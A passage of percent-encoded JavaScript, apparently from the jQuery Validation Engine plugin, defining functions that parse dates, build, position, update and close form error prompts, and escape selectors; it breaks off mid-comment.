/**%0A%09%09*%20date%20-%3E%20string%0A%09%09*%0A%09%09*%20@param%20%7BObject%7D%20date%0A%09%09*/%0A%09%09_dateToString%3A%20function%28date%29%20%7B%0A%09%09%09return%20date.getFullYear%28%29+%22-%22+%28date.getMonth%28%29+1%29+%22-%22+date.getDate%28%29%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Parses%20an%20ISO%20date%0A%09%09*%20@param%20%7BString%7D%20d%0A%09%09*/%0A%09%09_parseDate%3A%20function%28d%29%20%7B%0A%0A%09%09%09var%20dateParts%20%3D%20d.split%28%22-%22%29%3B%0A%09%09%09if%28dateParts%3D%3Dd%29%0A%09%09%09%09dateParts%20%3D%20d.split%28%22/%22%29%3B%0A%09%09%09if%28dateParts%3D%3Dd%29%20%7B%0A%09%09%09%09dateParts%20%3D%20d.split%28%22.%22%29%3B%0A%09%09%09%09return%20new%20Date%28dateParts%5B2%5D%2C%20%28dateParts%5B1%5D%20-%201%29%2C%20dateParts%5B0%5D%29%3B%0A%09%09%09%7D%0A%09%09%09return%20new%20Date%28dateParts%5B0%5D%2C%20%28dateParts%5B1%5D%20-%201%29%20%2CdateParts%5B2%5D%29%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Builds%20or%20updates%20a%20prompt%20with%20the%20given%20information%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BString%7D%20promptText%20html%20text%20to%20display%20type%0A%09%09*%20@param%20%7BString%7D%20type%20the%20type%20of%20bubble%3A%20%27pass%27%20%28green%29%2C%20%27load%27%20%28black%29%20anything%20else%20%28red%29%0A%09%09*%20@param%20%7Bboolean%7D%20ajaxed%20-%20use%20to%20mark%20fields%20than%20being%20validated%20with%20ajax%0A%09%09*%20@param%20%7BMap%7D%20options%20user%20options%0A%09%09*/%0A%09%09%20_showPrompt%3A%20function%28field%2C%20promptText%2C%20type%2C%20ajaxed%2C%20options%2C%20ajaxform%29%20%7B%0A%09%09%20%09//Check%20if%20we%20need%20to%20adjust%20what%20element%20to%20show%20the%20prompt%20on%0A%09%09%09if%28field.data%28%27jqv-prompt-at%27%29%20instanceof%20jQuery%20%29%7B%0A%09%09%09%09field%20%3D%20field.data%28%27jqv-prompt-at%27%29%3B%0A%09%09%09%7D%20else%20if%28field.data%28%27jqv-prompt-at%27%29%29%20%7B%0A%09%09%09%09field%20%3D%20%24%28field.data%28%27jqv-prompt-at%27%29%29%3B%0A%09%09%09%7D%0A%0A%09%09%09%20var%20prompt%20%3D%20methods._getPrompt%28field%29%3B%0A%09%09%09%20//%20The%20ajax%20submit%20errors%20are%20not%20see%20has%20an%20error%20in%20the%20form%2C%0A%09%09%09%20//%20When%20the%20form%20errors%20are%20returned%2C%20the%20engine%20see%202%20bubbles%2C%20but%20those%20are%20ebing%20closed%20by%20the%20engine%20at%20the%20same%20time%0A%09%09%09%20//%20Because%20no%20error%20was%20found%20befor%20submitting%0A%09%09%09%20if%28ajaxform%29%20prompt%20%3D%20false%3B%0A%09%09%09%20//%20Check%20that%20there%20is%20indded%20text%0A%09%09%09%20if%28%24.trim%28promptText%29%29%7B%20%0A%09%09%09%09%20if%20%28prompt%29%0A%09%09%09%09%09methods._updatePrompt%28field%2C%20prompt%2C%20promptText%2C%20type%2C%20ajaxed%2C%20options%29%3B%0A%09%09%09%09%20else%0A%09%09%09%09%09methods._buildPrompt%28field%2C%20promptText%2C%20type%2C%20ajaxed%2C%20options%29%3B%0A%09%09%09%7D%0A%09%09%20%7D%2C%0A%09%09/**%0A%09%09*%20Builds%20and%20shades%20a%20prompt%20for%20the%20given%20field.%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BString%7D%20promptText%20html%20text%20to%20display%20type%0A%09%09*%20@param%20%7BString%7D%20type%20the%20type%20of%20bubble%3A%20%27pass%27%20%28green%29%2C%20%27load%27%20%28black%29%20anything%20else%20%28red%29%0A%09%09*%20@param%20%7Bboolean%7D%20ajaxed%20-%20use%20to%20mark%20fields%20than%20being%20validated%20with%20ajax%0A%09%09*%20@param%20%7BMap%7D%20options%20user%20options%0A%09%09*/%0A%09%09_buildPrompt%3A%20function%28field%2C%20promptText%2C%20type%2C%20ajaxed%2C%20options%29%20%7B%0A%0A%09%09%09//%20create%20the%20prompt%0A%09%09%09var%20prompt%20%3D%20%24%28%27%3Cdiv%3E%27%29%3B%0A%09%09%09prompt.addClass%28methods._getClassName%28field.attr%28%22id%22%29%29%20+%20%22formError%22%29%3B%0A%09%09%09//%20add%20a%20class%20name%20to%20identify%20the%20parent%20form%20of%20the%20prompt%0A%09%09%09prompt.addClass%28%22parentForm%22+methods._getClassName%28field.closest%28%27form%2C%20.validationEngineContainer%27%29.attr%28%22id%22%29%29%29%3B%0A%09%09%09prompt.addClass%28%22formError%22%29%3B%0A%0A%09%09%09switch%20%28type%29%20%7B%0A%09%09%09%09case%20%22pass%22%3A%0A%09%09%09%09%09prompt.addClass%28%22greenPopup%22%29%3B%0A%09%09%09%09%09break%3B%0A%09%09%09%09case%20%22load%22%3A%0A%09%09%09%09%09prompt.addClass%28%22blackPopup%22%29%3B%0A%09%09%09%09%09break%3B%0A%09%09%09%09default%3A%0A%09%09%09%09%09/*%20it%20has%20error%20%20*/%0A%09%09%09%09%09//alert%28%22unknown%20popup%20type%3A%22+type%29%3B%0A%09%09%09%7D%0A%09%09%09if%20%28ajaxed%29%0A%09%09%09%09prompt.addClass%28%22ajaxed%22%29%3B%0A%0A%09%09%09//%20create%20the%20prompt%20content%0A%09%09%09var%20promptContent%20%3D%20%24%28%27%3Cdiv%3E%27%29.addClass%28%22formErrorContent%22%29.html%28promptText%29.appendTo%28prompt%29%3B%0A%0A%09%09%09//%20determine%20position%20type%0A%09%09%09var%20positionType%3Dfield.data%28%22promptPosition%22%29%20%7C%7C%20options.promptPosition%3B%0A%0A%09%09%09//%20create%20the%20css%20arrow%20pointing%20at%20the%20field%0A%09%09%09//%20note%20that%20there%20is%20no%20triangle%20on%20max-checkbox%20and%20radio%0A%09%09%09if%20%28options.showArrow%29%20%7B%0A%09%09%09%09var%20arrow%20%3D%20%24%28%27%3Cdiv%3E%27%29.addClass%28%22formErrorArrow%22%29%3B%0A%0A%09%09%09%09//prompt%20positioning%20adjustment%20support.%20Usage%3A%20positionType%3AXshift%2CYshift%20%28for%20ex.%3A%20bottomLeft%3A+20%20or%20bottomLeft%3A-20%2C+10%29%0A%09%09%09%09if%20%28typeof%28positionType%29%3D%3D%27string%27%29%20%0A%09%09%09%09%7B%0A%09%09%09%09%09var%20pos%3DpositionType.indexOf%28%22%3A%22%29%3B%0A%09%09%09%09%09if%28pos%21%3D-1%29%0A%09%09%09%09%09%09positionType%3DpositionType.substring%280%2Cpos%29%3B%0A%09%09%09%09%7D%0A%0A%09%09%09%09switch%20%28positionType%29%20%7B%0A%09%09%09%09%09case%20%22bottomLeft%22%3A%0A%09%09%09%09%09case%20%22bottomRight%22%3A%0A%09%09%09%09%09%09prompt.find%28%22.formErrorContent%22%29.before%28arrow%29%3B%0A%09%09%09%09%09%09arrow.addClass%28%22formErrorArrowBottom%22%29.html%28%27%3Cdiv%20class%3D%22line1%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line2%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line3%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line4%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line5%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line6%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line7%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line8%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line9%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line10%22%3E%3C%21--%20--%3E%3C/div%3E%27%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22topLeft%22%3A%0A%09%09%09%09%09case%20%22topRight%22%3A%0A%09%09%09%09%09%09arrow.html%28%27%3Cdiv%20class%3D%22line10%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line9%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line8%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line7%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line6%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line5%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line4%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line3%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line2%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line1%22%3E%3C%21--%20--%3E%3C/div%3E%27%29%3B%0A%09%09%09%09%09%09prompt.append%28arrow%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%7D%0A%09%09%09%7D%0A%09%09%09//%20Add%20custom%20prompt%20class%0A%09%09%09if%20%28options.addPromptClass%29%0A%09%09%09%09prompt.addClass%28options.addPromptClass%29%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20//%20Add%20custom%20prompt%20class%20defined%20in%20element%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20requiredOverride%20%3D%20field.attr%28%27data-required-class%27%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%28requiredOverride%20%21%3D%3D%20undefined%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20prompt.addClass%28requiredOverride%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%28options.prettySelect%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%28%24%28%27%23%27%20+%20field.attr%28%27id%27%29%29.next%28%29.is%28%27select%27%29%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20prettyOverrideClass%20%3D%20%24%28%27%23%27%20+%20field.attr%28%27id%27%29.substr%28options.usePrefix.length%29.substring%28options.useSuffix.length%29%29.attr%28%27data-required-class%27%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%28prettyOverrideClass%20%21%3D%3D%20undefined%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20prompt.addClass%28prettyOverrideClass%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%0A%09%09%09prompt.css%28%7B%0A%09%09%09%09%22opacity%22%3A%200%0A%09%09%09%7D%29%3B%0A%09%09%09if%28positionType%20%3D%3D%3D%20%27inline%27%29%20%7B%0A%09%09%09%09prompt.addClass%28%22inline%22%29%3B%0A%09%09%09%09if%28typeof%20field.attr%28%27data-prompt-target%27%29%20%21%3D%3D%20%27undefined%27%20%26%26%20%24%28%27%23%27+field.attr%28%27data-prompt-target%27%29%29.length%20%3E%200%29%20%7B%0A%09%09%09%09%09prompt.appendTo%28%24%28%27%23%27+field.attr%28%27data-prompt-target%27%29%29%29%3B%0A%09%09%09%09%7D%20else%20%7B%0A%09%09%09%09%09field.after%28prompt%29%3B%0A%09%09%09%09%7D%0A%09%09%09%7D%20else%20%7B%0A%09%09%09%09field.before%28prompt%29%3B%09%09%09%09%0A%09%09%09%7D%0A%09%09%09%0A%09%09%09var%20pos%20%3D%20methods._calculatePosition%28field%2C%20prompt%2C%20options%29%3B%0A%09%09%09prompt.css%28%7B%0A%09%09%09%09%27position%27%3A%20positionType%20%3D%3D%3D%20%27inline%27%20%3F%20%27relative%27%20%3A%20%27absolute%27%2C%0A%09%09%09%09%22top%22%3A%20pos.callerTopPosition%2C%0A%09%09%09%09%22left%22%3A%20pos.callerleftPosition%2C%0A%09%09%09%09%22marginTop%22%3A%20pos.marginTopSize%2C%0A%09%09%09%09%22opacity%22%3A%200%0A%09%09%09%7D%29.data%28%22callerField%22%2C%20field%29%3B%0A%09%09%09%0A%0A%09%09%09if%20%28options.autoHidePrompt%29%20%7B%0A%09%09%09%09setTimeout%28function%28%29%7B%0A%09%09%09%09%09prompt.animate%28%7B%0A%09%09%09%09%09%09%22opacity%22%3A%200%0A%09%09%09%09%09%7D%2Cfunction%28%29%7B%0A%09%09%09%09%09%09prompt.closest%28%27.formErrorOuter%27%29.remove%28%29%3B%0A%09%09%09%09%09%09prompt.remove%28%29%3B%0A%09%09%09%09%09%7D%29%3B%0A%09%09%09%09%7D%2C%20options.autoHideDelay%29%3B%0A%09%09%09%7D%20%0A%09%09%09return%20prompt.animate%28%7B%0A%09%09%09%09%22opacity%22%3A%200.87%0A%09%09%09%7D%29%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Updates%20the%20prompt%20text%20field%20-%20the%20field%20for%20which%20the%20prompt%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BString%7D%20promptText%20html%20text%20to%20display%20type%0A%09%09*%20@param%20%7BString%7D%20type%20the%20type%20of%20bubble%3A%20%27pass%27%20%28green%29%2C%20%27load%27%20%28black%29%20anything%20else%20%28red%29%0A%09%09*%20@param%20%7Bboolean%7D%20ajaxed%20-%20use%20to%20mark%20fields%20than%20being%20validated%20with%20ajax%0A%09%09*%20@param%20%7BMap%7D%20options%20user%20options%0A%09%09*/%0A%09%09_updatePrompt%3A%20function%28field%2C%20prompt%2C%20promptText%2C%20type%2C%20ajaxed%2C%20options%2C%20noAnimation%29%20%7B%0A%0A%09%09%09if%20%28prompt%29%20%7B%0A%09%09%09%09if%20%28typeof%20type%20%21%3D%3D%20%22undefined%22%29%20%7B%0A%09%09%09%09%09if%20%28type%20%3D%3D%20%22pass%22%29%0A%09%09%09%09%09%09prompt.addClass%28%22greenPopup%22%29%3B%0A%09%09%09%09%09else%0A%09%09%09%09%09%09prompt.removeClass%28%22greenPopup%22%29%3B%0A%0A%09%09%09%09%09if%20%28type%20%3D%3D%20%22load%22%29%0A%09%09%09%09%09%09prompt.addClass%28%22blackPopup%22%29%3B%0A%09%09%09%09%09else%0A%09%09%09%09%09%09prompt.removeClass%28%22blackPopup%22%29%3B%0A%09%09%09%09%7D%0A%09%09%09%09if%20%28ajaxed%29%0A%09%09%09%09%09prompt.addClass%28%22ajaxed%22%29%3B%0A%09%09%09%09else%0A%09%09%09%09%09prompt.removeClass%28%22ajaxed%22%29%3B%0A%0A%09%09%09%09prompt.find%28%22.formErrorContent%22%29.html%28promptText%29%3B%0A%0A%09%09%09%09var%20pos%20%3D%20methods._calculatePosition%28field%2C%20prompt%2C%20options%29%3B%0A%09%09%09%09var%20css%20%3D%20%7B%22top%22%3A%20pos.callerTopPosition%2C%0A%09%09%09%09%22left%22%3A%20pos.callerleftPosition%2C%0A%09%09%09%09%22marginTop%22%3A%20pos.marginTopSize%7D%3B%0A%0A%09%09%09%09if%20%28noAnimation%29%0A%09%09%09%09%09prompt.css%28css%29%3B%0A%09%09%09%09else%0A%09%09%09%09%09prompt.animate%28css%29%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Closes%20the%20prompt%20associated%20with%20the%20given%20field%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20field%0A%09%09*/%0A%09%09%20_closePrompt%3A%20function%28field%29%20%7B%0A%09%09%09%20var%20prompt%20%3D%20methods._getPrompt%28field%29%3B%0A%09%09%09%20if%20%28prompt%29%0A%09%09%09%09%20prompt.fadeTo%28%22fast%22%2C%200%2C%20function%28%29%20%7B%0A%09%09%09%09%09%20prompt.parent%28%27.formErrorOuter%27%29.remove%28%29%3B%0A%09%09%09%09%09%20prompt.remove%28%29%3B%0A%09%09%09%09%20%7D%29%3B%0A%09%09%20%7D%2C%0A%09%09%20closePrompt%3A%20function%28field%29%20%7B%0A%09%09%09%20return%20methods._closePrompt%28field%29%3B%0A%09%09%20%7D%2C%0A%09%09/**%0A%09%09*%20Returns%20the%20error%20prompt%20matching%20the%20field%20if%20any%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20field%0A%09%09*%20@return%20undefined%20or%20the%20error%20prompt%20%28jqObject%29%0A%09%09*/%0A%09%09_getPrompt%3A%20function%28field%29%20%7B%0A%09%09%09%09var%20formId%20%3D%20%24%28field%29.closest%28%27form%2C%20.validationEngineContainer%27%29.attr%28%27id%27%29%3B%0A%09%09%09var%20className%20%3D%20methods._getClassName%28field.attr%28%22id%22%29%29%20+%20%22formError%22%3B%0A%09%09%09%09var%20match%20%3D%20%24%28%22.%22%20+%20methods._escapeExpression%28className%29%20+%20%27.parentForm%27%20+%20methods._getClassName%28formId%29%29%5B0%5D%3B%0A%09%09%09if%20%28match%29%0A%09%09%09return%20%24%28match%29%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09%20%20*%20Returns%20the%20escapade%20classname%0A%09%09%20%20*%0A%09%09%20%20*%20@param%20%7Bselector%7D%0A%09%09%20%20*%20%20%20%20%20%20%20%20%20%20%20%20className%0A%09%09%20%20*/%0A%09%09%20%20_escapeExpression%3A%20function%20%28selector%29%20%7B%0A%09%09%09%20%20return%20selector.replace%28/%28%5B%23%3B%26%2C%5C.%5C+%5C*%5C%7E%27%3A%22%5C%21%5C%5E%24%5C%5B%5C%5D%5C%28%5C%29%3D%3E%5C%7C%5D%29/g%2C%20%22%5C%5C%241%22%29%3B%0A%09%09%20%20%7D%2C%0A%09%09/**%0A%09%09%20*%20returns%20true%20if%20we%20are%20in%20a%20RTLed%20document%0A%09%09%20*%0A%09%09%20*%20@param%20%7BjqObject%7D%20field%0A%09%09%20*/%0A%09%09isRTL%3A%20function%28field%29%0A%09%09%7B%0A%09%09%09var%20%24document%20%3D%20%24%28document%29%3B%0A%09%09%09var%20%24body%20%3D%20%24%28%27body%27%29%3B%0A%09%09%09var%20rtl%20%3D%0A%09%09%09%09%28field%20%26%26%20field.hasClass%28%27rtl%27%29%29%20%7C%7C%0A%09%09%09%09%28field%20%26%26%20%28field.attr%28%27dir%27%29%20%7C%7C%20%27%27%29.toLowerCase%28%29%3D%3D%3D%27rtl%27%29%20%7C%7C%0A%09%09%09%09%24document.hasClass%28%27rtl%27%29%20%7C%7C%0A%09%09%09%09%28%24document.attr%28%27dir%27%29%20%7C%7C%20%27%27%29.toLowerCase%28%29%3D%3D%3D%27rtl%27%20%7C%7C%0A%09%09%09%09%24body.hasClass%28%27rtl%27%29%20%7C%7C%0A%09%09%09%09%28%24body.attr%28%27dir%27%29%20%7C%7C%20%27%27%29.toLowerCase%28%29%3D%3D%3D%27rtl%27%3B%0A%09%09%09return%20Boolean%28rtl%29%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Calculates%20prompt%20position%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20field%0A%09%09*%20@param%20%7BjqObject%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20the%20prompt%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20options%0A%09%09*%20@return%20positions%0A%09%09*/%0A%09%09_calculatePosition%3A%20function%20%28field%2C%20promptElmt%2C%20options%29%20%7B%0A%0A%09%09%09var%20promptTopPosition%2C%20promptleftPosition%2C%20marginTopSize%3B%0A%09%09%09var%20fieldWidth%20%09%3D%20field.width%28%29%3B%0A%09%09%09var%20fieldLeft%20%09%3D%20field.position%28%29.left%3B%20%0A%09%09%09var%20fieldTop%20%09%3D%20%20field.position%28%29.top%3B%0A%09%09%09var%20fieldHeight%20%09%3D%20%20field.height%28%29%3B%09%0A%09%09%09var%20promptHeight%20%3D%20promptElmt.height%28%29%3B%0A%0A%0A%09%09%09//%20is%20the%20form%20contained%20in%20an%20overflown%20container%3F%0A%09%09%09promptTopPosition%20%3D%20promptleftPosition%20%3D%200%3B%0A%09%09%09//%20compensation%20for%20the%20arrow%0A%09%09%09marginTopSize%20%3D%20-promptHeight%3B%0A%09%09%0A%0A%09%09%09//prompt%20positioning%20adjustment%20support%0A%09%09%09//now%20you%20can%20adjust%20prompt%20position%0A%09%09%09//usage%3A%20positionType%3AXshift%2CYshift%0A%09%09%09//for%20example%3A%0A%09%09%09//%20%20%20bottomLeft%3A+20%20means%20bottomLeft%20position%20shifted%20by%2020%20pixels%20right%20horizontally%0A%09%09%09//%20%20%20topRight%3A20%2C%20-15%20means%20topRight%20position%20shifted%20by%2020%20pixels%20to%20right%20and%2015%20pixels%20to%20top%0A%09%09%09//You%20can%20use%20+pixels%2C%20-%20pixels.%20If%20no%20sign%20is%20provided%20than%20+%20is%20default.%0A%09%09%09var%20positionType%3Dfield.data%28%22promptPosition%22%29%20%7C%7C%20options.promptPosition%3B%0A%09%09%09var%20shift1%3D%22%22%3B%0A%09%09%09var%20shift2%3D%22%22%3B%0A%09%09%09var%20shiftX%3D0%3B%0A%09%09%09var%20shiftY%3D0%3B%0A%09%09%09if%20%28typeof%28positionType%29%3D%3D%27string%27%29%20%7B%0A%09%09%09%09//do%20we%20have%20any%20position%20adjustments%20%3F%0A%09%09%09%09if%20%28positionType.indexOf%28%22%3A%22%29%21%3D-1%29%20%7B%0A%09%09%09%09%09shift1%3DpositionType.substring%28positionType.indexOf%28%22%3A%22%29+1%29%3B%0A%09%09%09%09%09positionType%3DpositionType.substring%280%2CpositionType.indexOf%28%22%3A%22%29%29%3B%0A%0A%09%09%09%09%09//if%20any%20advanced%20positioning%20will%20be%20needed%20%28percents%20or%20something%20else%29%20-%20parser%20should%20be%20added%20here%0A%09%09%09%09%09//for%20now%20we%20use%20simple%20parseInt%28%29%0A%0A%09%09%09%09%09//do%20we%20have%20second%20parameter%3F%0A%09%09%09%09%09if%20%28shift1.indexOf%28%22%2C%22%29%20%21%3D-1%29%20%7B%0A%09%09%09%09%09%09shift2%3Dshift1.substring%28shift1.indexOf%28%22%2C%22%29%20+1%29%3B%0A%09%09%09%09%09%09shift1%3Dshift1.substring%280%2Cshift1.indexOf%28%22%2C%22%29%29%3B%0A%09%09%09%09%09%09shiftY%3DparseInt%28shift2%29%3B%0A%09%09%09%09%09%09if%20%28isNaN%28shiftY%29%29%20shiftY%3D0%3B%0A%09%09%09%09%09%7D%3B%0A%0A%09%09%09%09%09shiftX%3DparseInt%28shift1%29%3B%0A%09%09%09%09%09if%20%28isNaN%28shift1%29%29%20shift1%3D0%3B%0A%0A%09%09%09%09%7D%3B%0A%09%09%09%7D%3B%0A%0A%09%09%09%0A%09%09%09switch%20%28positionType%29%20%7B%0A%09%09%09%09default%3A%0A%09%09%09%09case%20%22topRight%22%3A%0A%09%09%09%09%09promptleftPosition%20+%3D%20%20fieldLeft%20+%20fieldWidth%20-%2030%3B%0A%09%09%09%09%09promptTopPosition%20+%3D%20%20fieldTop%3B%0A%09%09%09%09%09break%3B%0A%0A%09%09%09%09case%20%22topLeft%22%3A%0A%09%09%09%09%09promptTopPosition%20+%3D%20%20fieldTop%3B%0A%09%09%09%09%09promptleftPosition%20+%3D%20fieldLeft%3B%20%0A%09%09%09%09%09break%3B%0A%0A%09%09%09%09case%20%22centerRight%22%3A%0A%09%09%09%09%09promptTopPosition%20%3D%20fieldTop+4%3B%0A%09%09%09%09%09marginTopSize%20%3D%200%3B%0A%09%09%09%09%09promptleftPosition%3D%20fieldLeft%20+%20field.outerWidth%28true%29+5%3B%0A%09%09%09%09%09break%3B%0A%09%09%09%09case%20%22centerLeft%22%3A%0A%09%09%09%09%09promptleftPosition%20%3D%20fieldLeft%20-%20%28promptElmt.width%28%29%20+%202%29%3B%0A%09%09%09%09%09promptTopPosition%20%3D%20fieldTop+4%3B%0A%09%09%09%09%09marginTopSize%20%3D%200%3B%0A%09%09%09%09%09%0A%09%09%09%09%09break%3B%0A%0A%09%09%09%09case%20%22bottomLeft%22%3A%0A%09%09%09%09%09promptTopPosition%20%3D%20fieldTop%20+%20field.height%28%29%20+%205%3B%0A%09%09%09%09%09marginTopSize%20%3D%200%3B%0A%09%09%09%09%09promptleftPosition%20%3D%20fieldLeft%3B%0A%09%09%09%09%09break%3B%0A%09%09%09%09case%20%22bottomRight%22%3A%0A%09%09%09%09%09promptleftPosition%20%3D%20fieldLeft%20+%20fieldWidth%20-%2030%3B%0A%09%09%09%09%09promptTopPosition%20%3D%20%20fieldTop%20+%20%20field.height%28%29%20+%205%3B%0A%09%09%09%09%09marginTopSize%20%3D%200%3B%0A%09%09%09%09%09break%3B%0A%09%09%09%09case%20%22inline%22%3A%0A%09%09%09%09%09promptleftPosition%20%3D%200%3B%0A%09%09%09%09%09promptTopPosition%20%3D%200%3B%0A%09%09%09%09%09marginTopSize%20%3D%200%3B%0A%09%09%09%7D%3B%0A%0A%09%09%0A%0A%09%09%09//apply%20adjusments%20if%20any%0A%09%09%09promptleftPosition%20+%3D%20shiftX%3B%0A%09%09%09promptTopPosition%20%20+%3D%20shiftY%3B%0A%0A%09%09%09return%20%7B%0A%09%09%09%09%22callerTopPosition%22%3A%20promptTopPosition%20+%20%22px%22%2C%0A%09%09%09%09%22callerleftPosition%22%3A%20promptleftPosition%20+%20%22px%22%2C%0A%09%09%09%09%22marginTopSize%22%3A%20marginTopSize%20+%20%22px%22%0A%09%09%09%7D%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Saves%20the%20user%20options%20and%20variables%20in%20the%20form.data%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20form%20-%20the%20form%20where%20the%20user%20option%20should%20be%20saved%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20options%20-%20the%20user%20options%0A%09%09*%20@return%20the%20user%20options%20%28extended%20from%20the%20defaults%29%0A%09%09*/%0A%09%09%20_saveOptions%3A%20function%28form%2C%20options%29%20%7B%0A%0A%09%09%09%20//%20is%20there%20a%20language%20localisation%20%3F%0A%09%09%09%20if%20%28%24.validationEngineLanguage%29%0A%09%09%09%20var%20allRules%20%3D%20%24.validationEngineLanguage.allRules%3B%0A%09%09%09%20else%0A%09%09%09%20%24.error%28%22jQuery.validationEngine%20rules%20are%20not%20loaded%2C%20plz%20add%20localization%20files%20to%20the%20page%22%29%3B%0A%09%09%09%20//%20---%20Internals%20DO%20NOT%20TOUCH%20or%20OVERLOAD%20---%0A%09%09%09%20//%20validation%20rules%20and%20i18%0A%09%09%09%20%24.validationEngine.defaults.allrules%20%3D%20allRules%3B%0A%0A%09%09%09%20var%20userOptions%20%3D%20%24.extend%28true%2C%7B%7D%2C%24.validationEngine.defaults%2Coptions%29%3B%0A%0A%09%09%09%20form.data%28%27jqv%27%2C%20userOptions%29%3B%0A%09%09%09%20return%20userOptions%3B%0A%09%09%20%7D%2C%0A%0A%09%09%20/**%0A%09%09%20*%20Removes%20forbidden%20characters%20from%20class%20name%0A%09%09%20*%20@param%20%7BString%7D%20className%0A%09%09%20*/%0A%09%09%20_getClassName%3A%20function%28className%29%20%7B%0A%09%09%09%20if%28className%29%0A%09%09%09%09%20return%20className.replace%28/%3A/g%2C%20%22_%22%29.replace%28/%5C./g%2C%20%22_%22%29%3B%0A%09%09%09%09%09%20%20%7D%2C%0A%09%09/**%0A%09%09%20*%20Escape%20special%20character%20for%20jQuery%20selector%0A%09%09%20*%20http%3A//totaldev.com/content/escaping-characters-get-valid-jquery-id%0A%09%09%20*%20@param%20%7BString%7D%20selector%0A%09%09%20*/%0A%09%09%20_jqSelector%3A%20function%28str%29%7B%0A%09%09%09return%20str.replace%28/%28%5B%3B%26%2C%5C.%5C+%5C*%5C%7E%27%3A%22%5C%21%5C%5E%23%24%25@%5C%5B%5C%5D%5C%28%5C%29%3D%3E%5C%7C%5D%29/g%2C%20%27%5C%5C%241%27%29%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Conditionally%20required%20field%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_condRequired%3A%20function%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%09%09%09var%20idx%2C%20dependingField%3B%0A%0A%09%09%09for%28idx%20%3D%20%28i%20+%201%29%3B%20idx%20%3C%20rules.length%3B%20idx++%29%20%7B%0A%09%09%09%09dependingField%20%3D%20jQuery%28%22%23%22%20+%20rules%5Bidx%5D%29.first%28%29%3B%0A%0A%09%09%09%09/*%20Use%20_required%20for%20determining%20wether%20dependingField%20has%20a%20value.%0A%09%09%09%09%20*%20There%20is%20logic%20there%20for%20handling%20all%20field%20types%2C%20and%20default%20value%3B%20so%20we%20won%27t%20replicate%20that%20here%0A%09%09%09%09%20*